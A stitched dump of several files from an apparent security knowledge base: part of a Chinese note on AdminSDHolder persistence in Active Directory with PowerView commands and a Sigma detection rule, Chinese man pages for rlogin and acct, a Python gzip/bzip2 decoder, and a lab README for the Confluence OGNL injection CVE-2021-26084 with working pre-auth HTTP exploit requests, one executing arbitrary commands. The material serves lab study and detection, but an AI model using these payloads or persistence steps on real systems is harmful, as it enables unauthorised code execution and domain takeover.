详细信息: Granting principal S-1-5-21-3576461989-1381017913-248049510-1104 '00000000-0000-0000-0000-000000000000'
rights on CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org
```
3.验证用户权限
等待六十分钟后,执行以下命令查询用户xiaomi的权限:
```powershell
Import-Module .\PowerView.ps1
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference-match'xiaomi'}
OR
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | select IdentityReference
```
4.删除AdminSDHolder中指定用户的ACL
搜索条件为"LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com"
删除用户xiaomi的完全访问权限,命令如下(执行失败):
```powershell
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org" -PrincipalIdentity xiaomi -Rights All -Verbose
```
## 测试留痕
windows安全日志
## 检测规则/思路
### Sigma规则
```yml
title: Windows-AdminSDHolder
description: Windows server 2008 R2(AD域控)
references:
- https://github.com/infosecn1nja/AD-Attack-Defense/blob/master/README.md
- https://github.com/0Kee-Team/WatchAD/blob/master/modules/detect/event_log/persistence/AdminSDHolder.py
tags: 1098
status: 测试阶段
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 5136 #已修改目录服务对象。AdminSDHolder更改,一般用作权限维持,因为更改情况极少
selection2:
EventID: 4780 #ACL设置在管理员组成员的帐户上
timeframe: last 1h #默认等待60分钟之后生效,具体原因可参考下面SDPROP说明
condition: all of them
level: medium
```
### 建议
时间范围问题,默认是60分钟后生效,故规则中两个事件之间时间区间范围为60分钟,可根绝实际情况进行修改。
## 参考推荐
域渗透——AdminSDHolder
<https://anquan.baidu.com/article/877>
PowerView
<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>
SDPROP说明
<https://xz.aliyun.com/t/7276>
MITRE-ATT&CK-T1098
<https://attack.mitre.org/techniques/T1098/>
|
sec-knowleage
|
.\" Copyright (c) 1983, 1990 The Regents of the University of California.
.\" All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" from: @(#)rlogin.1 6.19 (Berkeley) 7/27/91
.\"
.Dd August 15, 1999
.Dt RLOGIN 1
.Os "Linux NetKit (0.17)"
.Sh NAME
.Nm rlogin
.Nd 远程注册
.Sh SYNOPSIS(总览)
.Ar rlogin
.Op Fl 8EKLdx
.Op Fl e Ar char
.Op Fl l Ar username
.Ar host
.Sh DESCRIPTION(描述)
.Nm Rlogin
在远程主机
.Ar host
上开始 一个 终端会话.
.Pp
本程序 和文档 接受 标准的 伯克利
.Pa rhosts
授权.
选项 如下:
.Bl -tag -width flag
.It Fl 8
.Fl 8
选项 允许 进行 8 位的 输入 数据 传送; 否则在 远程主机 未使用
与 ^S/^Q 不同的 控制 字符 之前, 所有的 奇偶 校验位 都会 被清除.
.It Fl E
.Fl E
选项 阻塞(stops) 一些 被识别 为转意 字符 的字符.
当 使用了
.Fl 8
选项时, 这样 可以 提供 完全 透明的 连接.
.It Fl K
.Fl K
选项 关闭 所有的 Kerberos 安全 鉴别.
.It Fl L
.Fl L
选项 允许 rlogin 会话 以 ``litout''
模式 运行(参见
.Xr tty 4 )
.It Fl d
.Fl d
选项 启动 套接字 调试(参见
.Xr setsockopt 2 )
, 在 TCP 类型 的连接中, 套接字 用于 提供 与远程 主机的 通讯.
.It Fl e
.Fl e
选项 允许 用户 指定 转意 字符, 缺省是
``~''.
可以 直接 使用 字符, 也可以 使用 八进制值 进行 指定, 八进制 格式为:
\ennn.
.It Fl k
.Fl k
选项 要求 rlogin 在从 远程 接受 许可证时, 使用
.Ar realm
中定义的 realm, 而不是
.Xr krb_realmofhost 3
中定义的 realm.
.It Fl x
.Fl x
选项 使通过 rlogin 会话 进行的 数据
传送 都要 采用
.Tn DES
加密.
这可能 会影响 响应 时间和
.Tn CPU
的利用, 但 提高了 安全性.
.El
.Pp
使用 格式为 ``<escape char>.'' 的一行 可以 断开 与远程 主机 的连接.
类似的, ``<escape char>^Z'' 这样 的行 可以 延迟
.Nm rlogin
会话, ``<escape char><delayed-suspend char(延时字符)>'' 会延迟 rlogin 发送
部分, 但允许 远程 主机 输出.
缺省 情况下, (``~'') 是 转意字符, control-Y (``^Y'') 是 延时字符.
.Pp
由于 所有的 回应 都在 远方 发生, 所以
.Nm rlogin
是 透明的 (除了延时外).
通过 使用 ^S/^Q 进行 流量 控制, 即使 满负载的 输入/输出
也可以 被 正确的 解释 处理.
.Sh KERBEROS AUTHENTICATION(Kerberos鉴别)
每个 用户 都应该 在他的 主目录 下的
.Pa .klogin
文件中 存放 私人的 授权 列表,
文件中的 每一行 包含 一个 如下 格式的 Kerberos principal 负责人名:
.Ar principal.instance@realm .
如果 用户 被鉴别 是
.Pa .klogin
中的 principal 之一, 就允许 此帐号 进行 存取 访问.
如果 没有
.Pa .klogin
文件, 就采用
.Ar accountname.@localrealm
进行 存取 控制.
否则 就好像 远程的
.Xr login 1
一样, 需要 用户 提供 用户名 和口令 进行 身份 识别.
为避免 某些 安全 问题,
.Pa .klogin
文件 必须为 远程 用户 拥有.
.Pp
如果 Kerberos 鉴别 失败, 在给出 一个 警告 消息 之后,
就使用 标准的 Berkeley(伯克利)
.Nm rlogin .
.Sh ENVIRONMENT(环境)
.Nm rlogin
使用 如下的 环境变量:
.Bl -tag -width TERM
.It Ev TERM
: 定义 用户的 终端类型.
.El
.Sh SEE ALSO(参考)
.Xr rsh 1 ,
.Xr kerberos 3 ,
.Xr krb_sendauth 3 ,
.Xr krb_realmofhost 3
.Sh HISTORY(历史)
.Nm rlogin
最先 出现在 4.2 中.
.Sh BUGS(补丁)
.Nm Rlogin
在 不远的 将来 会被
.Xr telnet 1
代替, 这样 可以 使用 更多的 环境控制.
.Pp
|
sec-knowleage
|
class BitfieldBase:
def __init__(self, x):
if isinstance(x,BitfieldBase):
self.f = x.f
self.bits = x.bits
self.bitfield = x.bitfield
self.count = x.bitfield
else:
self.f = x
self.bits = 0
self.bitfield = 0x0
self.count = 0
def _read(self, n):
s = self.f.read(n)
if not s:
raise Exception("Length Error")
self.count += len(s)
return s
def needbits(self, n):
while self.bits < n:
self._more()
def _mask(self, n):
return (1 << n) - 1
def toskip(self):
return self.bits & 0x7
def align(self):
self.readbits(self.toskip())
def dropbits(self, n = 8):
while n >= self.bits and n > 7:
n -= self.bits
self.bits = 0
n -= len(self.f._read(n >> 3)) << 3
if n:
self.readbits(n)
# No return value
def dropbytes(self, n = 1):
self.dropbits(n << 3)
def tell(self):
return self.count - ((self.bits+7) >> 3), 7 - ((self.bits-1) & 0x7)
def tellbits(self):
bytes, bits = self.tell()
return (bytes << 3) + bits
class Bitfield(BitfieldBase):
def _more(self):
c = self._read(1)
self.bitfield += ord(c) << self.bits
self.bits += 8
def snoopbits(self, n = 8):
if n > self.bits:
self.needbits(n)
return self.bitfield & self._mask(n)
def readbits(self, n = 8):
if n > self.bits:
self.needbits(n)
r = self.bitfield & self._mask(n)
self.bits -= n
self.bitfield >>= n
return r
class RBitfield(BitfieldBase):
def _more(self):
c = self._read(1)
self.bitfield <<= 8
self.bitfield += ord(c)
self.bits += 8
def snoopbits(self, n = 8):
if n > self.bits:
self.needbits(n)
return (self.bitfield >> (self.bits - n)) & self._mask(n)
def readbits(self, n = 8):
if n > self.bits:
self.needbits(n)
r = (self.bitfield >> (self.bits - n)) & self._mask(n)
self.bits -= n
self.bitfield &= ~(self._mask(n) << self.bits)
return r
def printbits(v, n):
o = ''
for i in range(n):
if v & 1:
o = '1' + o
else:
o = '0' + o
v >>= 1
return o
class HuffmanLength:
def __init__(self, code, bits = 0):
self.code = code
self.bits = bits
self.symbol = None
def __repr__(self):
return str((self.code, self.bits, self.symbol, self.reverse_symbol))
def __cmp__(self, other):
if self.bits == other.bits:
return cmp(self.code, other.code)
else:
return cmp(self.bits, other.bits)
def reverse_bits(v, n):
a = 1 << 0
b = 1 << (n - 1)
z = 0
for i in range(n-1, -1, -2):
z |= (v >> i) & a
z |= (v << i) & b
a <<= 1
b >>= 1
return z
def reverse_bytes(v, n):
a = 0xff << 0
b = 0xff << (n - 8)
z = 0
for i in range(n-8, -8, -16):
z |= (v >> i) & a
z |= (v << i) & b
a <<= 8
b >>= 8
return z
class HuffmanTable:
def __init__(self, bootstrap):
l = []
start, bits = bootstrap[0]
for finish, endbits in bootstrap[1:]:
if bits:
for code in range(start, finish):
l.append(HuffmanLength(code, bits))
start, bits = finish, endbits
if endbits == -1:
break
l.sort()
self.table = l
def populate_huffman_symbols(self):
bits, symbol = -1, -1
for x in self.table:
symbol += 1
if x.bits != bits:
symbol <<= (x.bits - bits)
bits = x.bits
x.symbol = symbol
x.reverse_symbol = reverse_bits(symbol, bits)
#print printbits(x.symbol, bits), printbits(x.reverse_symbol, bits)
def tables_by_bits(self):
d = {}
for x in self.table:
try:
d[x.bits].append(x)
except:
d[x.bits] = [x]
pass
def min_max_bits(self):
self.min_bits, self.max_bits = 16, -1
for x in self.table:
if x.bits < self.min_bits: self.min_bits = x.bits
if x.bits > self.max_bits: self.max_bits = x.bits
def _find_symbol(self, bits, symbol, table):
for h in table:
if h.bits == bits and h.reverse_symbol == symbol:
#print "found, processing", h.code
return h.code
return -1
def find_next_symbol(self, field, reversed = True):
cached_length = -1
cached = None
for x in self.table:
if cached_length != x.bits:
cached = field.snoopbits(x.bits)
cached_length = x.bits
if (reversed and x.reverse_symbol == cached) or (not reversed and x.symbol == cached):
field.readbits(x.bits)
#print "found symbol", hex(cached), "of len", cached_length, "mapping to", hex(x.code)
return x.code
raise Exception("unfound symbol, even after end of table @ " + str(field.tell()))
for bits in range(self.min_bits, self.max_bits + 1):
#print printbits(field.snoopbits(bits),bits)
r = self._find_symbol(bits, field.snoopbits(bits), self.table)
if 0 <= r:
field.readbits(bits)
return r
elif bits == self.max_bits:
raise Exception("unfound symbol, even after max_bits")
class OrderedHuffmanTable(HuffmanTable):
def __init__(self, lengths):
l = len(lengths)
z = map(None, range(l), lengths) + [(l, -1)]
#print "lengths to spans:", z
HuffmanTable.__init__(self, z)
def code_length_orders(i):
return (16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15)[i]
def distance_base(i):
return (1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577)[i]
def length_base(i):
return (3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258)[i-257]
def extra_distance_bits(n):
if 0 <= n <= 1:
return 0
elif 2 <= n <= 29:
return (n >> 1) - 1
else:
raise Exception("illegal distance code")
def extra_length_bits(n):
if 257 <= n <= 260 or n == 285:
return 0
elif 261 <= n <= 284:
return ((n-257) >> 2) - 1
else:
raise Exception("illegal length code")
def move_to_front(l, c):
l[:] = l[c:c+1] + l[0:c] + l[c+1:]
def bwt_transform(L):
# Semi-inefficient way to get the character counts
F = ''.join(sorted(L))
base = map(F.find,map(chr,range(256)))
pointers = [-1] * len(L)
for symbol, i in map(None, map(ord,L), xrange(len(L))):
pointers[base[symbol]] = i
base[symbol] += 1
return pointers
def bwt_reverse(L, end):
out = ''
if len(L):
T = bwt_transform(L)
# STRAGENESS WARNING: There was a bug somewhere here in that
# if the output of the BWT resolves to a perfect copy of N
# identical strings (think exact multiples of 255 'X' here),
# then a loop is formed. When decoded, the output string would
# be cut off after the first loop, typically '\0\0\0\0\xfb'.
# The previous loop construct was:
#
# next = T[end]
# while next != end:
# out += L[next]
# next = T[next]
# out += L[next]
#
# For the moment, I've instead replaced it with a check to see
# if there has been enough output generated. I didn't figured
# out where the off-by-one-ism is yet---that actually produced
# the cyclic loop.
for i in xrange(len(L)):
end = T[end]
out += L[end]
return out
# Sixteen bits of magic have been removed by the time we start decoding
def bzip2_main(input):
b = RBitfield(input)
method = b.readbits(8)
if method != ord('h'):
raise Exception("Unknown (not type 'h'uffman Bzip2) compression method")
blocksize = b.readbits(8)
if ord('1') <= blocksize <= ord('9'):
blocksize = blocksize - ord('0')
else:
raise Exception("Unknown (not size '0'-'9') Bzip2 blocksize")
out = ''
while True:
#header_start = b.tellbits()
blocktype = b.readbits(48)
crc = b.readbits(32)
##print hex(blocktype)
##print hex(crc)
if blocktype == 0x314159265359: # (pi)
#print 'bzip2 Huffman block'
randomised = b.readbits(1)
if randomised:
raise "Bzip2 randomised support not implemented"
pointer = b.readbits(24)
##print 'pointer', pointer, hex(pointer)
huffman_used_map = b.readbits(16)
##print 'used map', hex(huffman_used_map)
map_mask = 1 << 15
used = []
while map_mask > 0:
if huffman_used_map & map_mask:
huffman_used_bitmap = b.readbits(16)
bit_mask = 1 << 15
while bit_mask > 0:
if huffman_used_bitmap & bit_mask:
##print 'hit', len(used)
pass
used += [bool(huffman_used_bitmap & bit_mask)]
bit_mask >>= 1
else:
used += [False] * 16
map_mask >>= 1
huffman_groups = b.readbits(3)
##print 'huffman groups', huffman_groups
if not 2 <= huffman_groups <= 6:
raise "Bzip2: Number of Huffman groups not in range 2..6"
selectors_used = b.readbits(15)
##print 'selectors used', selectors_used
mtf = range(huffman_groups)
selectors_list = []
for i in range(selectors_used):
# zero-terminated bit runs (0..62) of MTF'ed huffman table
c = 0
while b.readbits(1):
c += 1
if c >= huffman_groups:
raise "Bzip2 chosen selector greater than number of groups (max 6)"
if c >= 0:
move_to_front(mtf, c)
##print c, mtf
selectors_list += mtf[0:1]
groups_lengths = []
symbols_in_use = sum(used) + 2 # remember RUN[AB] RLE symbols
for j in range(huffman_groups):
length = start_huffman_length = b.readbits(5)
##print 'start_huffman_length', start_huffman_length
lengths = []
for i in range(symbols_in_use):
if not 0 <= length <= 20:
raise "Bzip2 Huffman length code outside range 0..20"
while b.readbits(1):
length -= (b.readbits(1) * 2) - 1
lengths += [length]
groups_lengths += [lengths]
##print groups_lengths
tables = []
for g in groups_lengths:
codes = OrderedHuffmanTable(g)
codes.populate_huffman_symbols()
codes.min_max_bits()
tables.append(codes)
#favourites = map(chr,range(sum(used)))
#favourites = string.join([y for x,y in map(None,used,map(chr,range(len(used)))) if x],'')
favourites = [y for x,y in map(None,used,map(chr,range(len(used)))) if x]
data_start = b.tellbits()
selector_pointer = 0
decoded = 0
# Main Huffman loop
repeat = repeat_power = 0
buffer = ''
t = None
while True:
decoded -= 1
if decoded <= 0:
##print 'RETABLE TIME', selectors_list[selector_pointer]
decoded = 50 # Huffman table re-evaluate/switch length
if selector_pointer <= len(selectors_list):
t = tables[selectors_list[selector_pointer]]
selector_pointer += 1
##print 'tables changed', tables[0].table
##print b.tell()
r = t.find_next_symbol(b, False)
##print 'symbol', r
if 0 <= r <= 1:
if repeat == 0:
repeat_power = 1
##print 'run', repeat
repeat += repeat_power << r
repeat_power <<= 1
continue
elif repeat > 0:
# Remember kids: If there is only one repeated
# real symbol, it is encoded with *zero* Huffman
# bits and not output... so buffer[-1] doesn't work.
##print 'runfinal', repeat
buffer += favourites[0] * repeat
repeat = 0
if r == symbols_in_use - 1:
##print 'finished', `buffer[:10]`, '..', `buffer[-10:]`, 'len', len(buffer)
break
else:
o = favourites[r-1]
##print 'pre ', `favourites`
move_to_front(favourites, r-1)
##print 'post', `favourites`
##print 'output', `o`
buffer += o
pass
##print 'huffman', `buffer`, pointer, len(buffer)
if True:
#nearly_there = bwt_reverse(buffer, len(buffer)-pointer-1)
nt = nearly_there = bwt_reverse(buffer, pointer)
##print 'nearly there', `nearly_there`
done = ''
i = 0
# Pointless/irritating run-length encoding step
while i < len(nearly_there):
##print 'RLE decode', `nt[i:]`
if i < len(nearly_there) - 4 and nt[i] == nt[i+1] == nt[i+2] == nt[i+3]:
done += nearly_there[i] * (ord(nearly_there[i+4]) + 4)
i += 5
else:
done += nearly_there[i]
i += 1
out += done
##print 'done', `done[:10]`, '..', `done[-10:]`, 'len', len(done)
#raise "Bip2 block support not implemented"
elif blocktype == 0x177245385090: # sqrt(pi)
#print 'bzip2 end-of-stream block'
b.align()
break
else:
raise "Illegal Bzip2 blocktype"
return out
# Sixteen bits of magic have been removed by the time we start decoding
def gzip_main(field):
b = Bitfield(field)
#method = b.readbits(8)
#if method != 8:
# raise Exception("Unknown (not type eight DEFLATE) compression method")
# Use flags, drop modification time, extra flags and OS creator type.
#flags = b.readbits(8)
##print 'flags', hex(flags)
#mtime = b.readbits(32)
##print 'mtime', hex(mtime)
#extra_flags = b.readbits(8)
##print 'extra_flags', hex(extra_flags)
#os_type = b.readbits(8)
##print 'os_type', hex(os_type)
#if flags & 0x04: # structured GZ_FEXTRA miscellaneous data
# xlen = b.readbits(16)
# b.dropbytes(xlen)
#while flags & 0x08: # original GZ_FNAME filename
# if not b.readbits(8):
# break
#while flags & 0x10: # human readable GZ_FCOMMENT
# if not b.readbits(8):
# break
#if flags & 0x02: # header-only GZ_FHCRC checksum
# b.readbits(16)
#print "gzip header skip", b.tell()
out = ''
##print 'header 0 count 0 bits', b.tellbits()
class CmdBuffer():
def __init__(self):
self.lastcmd = None
self.count = 0
self.cmds = []
def flushcmd(self):
if not self.lastcmd:
return
self.cmds.append( (self.count,self.lastcmd) )
self.lastcmd = None
self.count = 0
def pushcmd(self, cmd):
if cmd != self.lastcmd:
self.flushcmd()
self.lastcmd = cmd
self.count = 1
else:
self.count += 1
def get_cmds(self):
self.flushcmd()
return self.cmds
cmdbuf = CmdBuffer()
while True:
# keep last 0x200 bytes
out = out[-0x200:]
header_start = b.tell()
bheader_start = b.tellbits()
#print 'new block at', b.tell()
lastbit = b.readbits(1)
#print "last bit", hex(lastbit)
blocktype = b.readbits(2)
print "deflate-blocktype", blocktype, ["stored", "static huff", "dyna huff"][blocktype], 'beginning at', header_start
#print 'raw block data at', b.tell()
if blocktype == 0:
b.align()
length = b.readbits(16)
if length & b.readbits(16):
raise "stored block lengths do not match each other"
##print "stored block of length", length
##print 'raw data at', b.tell(), 'bits', b.tellbits() - bheader_start
##print 'header 0 count 0 bits', b.tellbits() - bheader_start
for i in range(length):
v = b.readbits(8)
out += chr(v)
cmdbuf.pushcmd( ("ADDB", v) )
##print 'linear', b.tell()[0], 'count', length, 'bits', b.tellbits() - bheader_start
elif blocktype == 1 or blocktype == 2: # Huffman
main_literals, main_distances = None, None
if blocktype == 1: # Static Huffman
static_huffman_bootstrap = [(0, 8), (144, 9), (256, 7), (280, 8), (288, -1)]
static_huffman_lengths_bootstrap = [(0, 5), (32, -1)]
main_literals = HuffmanTable(static_huffman_bootstrap)
main_distances = HuffmanTable(static_huffman_lengths_bootstrap)
elif blocktype == 2: # Dynamic Huffman
dyna_start = b.tellbits()
len_codes = b.readbits(5)
literals = len_codes + 257
distances = b.readbits(5) + 1
code_lengths_length = b.readbits(4) + 4
#print "Dynamic Huffman tree: length codes: %s, distances codes: %s, code_lengths_length: %s" % \
#(len_codes, distances, code_lengths_length)
l = [0] * 19
for i in range(code_lengths_length):
l[code_length_orders(i)] = b.readbits(3)
#print "lengths:", l
dynamic_codes = OrderedHuffmanTable(l)
dynamic_codes.populate_huffman_symbols()
dynamic_codes.min_max_bits()
# Decode the code_lengths for both tables at once,
# then split the list later
code_lengths = []
n = 0
while n < (literals + distances):
r = dynamic_codes.find_next_symbol(b)
if 0 <= r <= 15: # literal bitlength for this code
count = 1
what = r
elif r == 16: # repeat last code
count = 3 + b.readbits(2)
# Is this supposed to default to '0' if in the zeroth position?
what = code_lengths[-1]
elif r == 17: # repeat zero
count = 3 + b.readbits(3)
what = 0
elif r == 18: # repeat zero lots
count = 11 + b.readbits(7)
what = 0
else:
raise "next code length is outside of the range 0 <= r <= 18"
code_lengths += [what] * count
n += count
#print "Literals/len lengths:", code_lengths[:literals]
#print "Dist lengths:", code_lengths[literals:]
main_literals = OrderedHuffmanTable(code_lengths[:literals])
main_distances = OrderedHuffmanTable(code_lengths[literals:])
#print "Read dynamic huffman tables", b.tellbits() - dyna_start, "bits"
# Common path for both Static and Dynamic Huffman decode now
data_start = b.tell()
#print 'raw data at', data_start, 'bits', b.tellbits() - bheader_start
##print 'header 0 count 0 bits', b.tellbits() - bheader_start
main_literals.populate_huffman_symbols()
main_distances.populate_huffman_symbols()
main_literals.min_max_bits()
main_distances.min_max_bits()
literal_count = 0
literal_start = 0
while True:
out = out[-0x200:]
lz_start = b.tellbits()
r = main_literals.find_next_symbol(b)
if 0 <= r <= 255:
if literal_count == 0:
literal_start = lz_start
literal_count += 1
#print 'found literal', `chr(r)`
out += chr(r)
cmdbuf.pushcmd( ("ADDB", r) )
elif r == 256:
if literal_count > 0:
##print 'add 0 count', literal_count, 'bits', lz_start-literal_start, 'data', `out[-literal_count:]`
literal_count = 0
#print 'eos 0 count 0 bits', b.tellbits() - lz_start
#print 'end of Huffman block encountered'
break
elif 257 <= r <= 285: # dictionary lookup
if literal_count > 0:
##print 'add 0 count', literal_count, 'bits', lz_start-literal_start, 'data', `out[-literal_count:]`
literal_count = 0
#print "reading", extra_length_bits(r), "extra bits for len"
length_extra = b.readbits(extra_length_bits(r))
length = length_base(r) + length_extra
r1 = main_distances.find_next_symbol(b)
if 0 <= r1 <= 29:
#print "reading", extra_distance_bits(r1), "extra bits for dist"
distance = distance_base(r1) + b.readbits(extra_distance_bits(r1))
cached_length = length
while length > distance:
out += out[-distance:]
cmdbuf.pushcmd( ("ADDL", distance) )
length -= distance
if length == distance:
out += out[-distance:]
cmdbuf.pushcmd( ("ADDL", distance) )
else:
out += out[-distance:length-distance]
cmdbuf.pushcmd( ("ADDO", distance, length) )
#print 'dictionary lookup: length', cached_length,
#print 'copy', -distance, 'num bits', b.tellbits() - lz_start, 'data', str(out[-cached_length:])
elif 30 <= r1 <= 31:
raise Exception("illegal unused distance symbol in use @" + str(b.tell()))
elif 286 <= r <= 287:
raise "illegal unused literal/length symbol in use @" + str(b.tell())
elif blocktype == 3:
raise Exception("illegal unused blocktype in use @" + str(b.tell()))
if lastbit:
#print "this was the last block, time to leave", b.tell()
break
#footer_start = b.tell()
#bfooter_start = b.tellbits()
#b.align()
#crc = b.readbits(32)
#final_length = b.readbits(32)
###print len(out)
#next_unused = b.tell()
##print 'deflate-end-of-stream', 5, 'beginning at', footer_start, 'raw data at', next_unused, 'bits', b.tellbits() - bfooter_start
#print 'deflate-end-of-stream'
##print 'crc', hex(crc), 'final length', final_length
##print 'header 0 count 0 bits', b.tellbits()-bfooter_start
return (out, cmdbuf.get_cmds())
import sys
def _main():
filename = sys.argv[1]
input = open(filename)
field = RBitfield(input)
magic = field.readbits(16)
if magic == 0x1f8b: # GZip
out = gzip_main(field)
elif magic == 0x425a: # BZip2
out = bzip2_main(field)
else:
raise "Unknown file magic "+hex(magic)+", not a gzip/bzip2 file"
f = open('out', 'w')
f.write(out)
f.close()
input.close()
if __name__=='__main__':
if len(sys.argv) != 2:
program = sys.argv[0]
#print program +':', 'usage:', program, '<filename.gz>|<filename.bz2>'
#print '\tThe contents will be decoded and decompressed plaintext written to "./out".'
sys.exit(0)
profile_code = False
if not profile_code:
try:
import psyco
psyco.full()
profile_code = False
except:
pass
if profile_code:
import profile
profile.run('_main()')
else:
_main()
|
sec-knowleage
|
.\" Copyright (c) 1995 Dirk Eddelbuettel (Dirk.Eddelbuettel@qed.econ.queensu.ca)
.\"
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" The GNU General Public License's references to "object code"
.\" and "executables" are to be interpreted as the output of any
.\" document formatting or typesetting system, including
.\" intermediate and printed output.
.\"
.\" This manual is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public
.\" License along with this manual; if not, write to the Free
.\" Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139,
.\" USA.
.\"
.TH ACCT 5 "1995 October 31" "Debian/GNU Linux"
.SH NAME
acct \- 执行体(execution)会计文件
.SH "总览 (SYNOPSIS)"
.B #include <sys/acct.h>
.SH "描述 (DESCRIPTION)"
内核 对 所有的进程 维护了 一个 会计信息结构 .
当 一个 进程 结束后, 如果 开启了 进程会计, 内核 就 调用
.BR acct (2)
函数 生成 该进程 的 会计记录, 然后 添加到 会计文件 (accounting file) 中.
文件
.IR /usr/include/linux/acct.h
中 有对 会计结构
.B "struct acct"
的 描述.
.SH "另见 (SEE ALSO)"
.BR acct (2),
.BR sa (1).
.SH "[中文版维护人]"
.B 徐明 <xuming@users.sourceforge.net>
.SH "[中文版最新更新]"
.BR 2003/05/13
.SH "《中国Linux论坛man手册页翻译计划》"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Confluence Server Webwork Pre-Auth OGNL Injection (CVE-2021-26084)
[中文版本(Chinese version)](README.zh-cn.md)
Confluence is a web-based corporate wiki developed by Australian software company Atlassian.
An OGNL injection vulnerability exists that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance.
References
- https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
- https://jira.atlassian.com/browse/CONFSERVER-67940
- https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
- https://github.com/h3v0x/CVE-2021-26084_Confluence
## Vulnerable Environment
Execute following command to start a Confluence Server 7.4.10:
```
docker compose up -d
```
After the environment starts, visit ``http://your-ip:8090`` and you will see the installation guide, select "Trial installation", then you will be asked to fill in the license key. You should apply for a Confluence Server test certificate from Atlassian.
Following [this guide](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396) to complete the installation.
On the database configuration page, fill in the form with database address `db`, database name `confluence`, username `postgres`, password `postgres`.

## Exploit
There are multiple API endpoints that are affected by this vulnerability.
### /pages/doenterpagevariables.action
This is a pre-auth exploit, executing `233*233`:
```
POST /pages/doenterpagevariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
```

Executing arbitrary commands:
```
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
```

### /pages/createpage-entervariables.action
This is also a pre-auth exploit:
```
POST /pages/createpage-entervariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
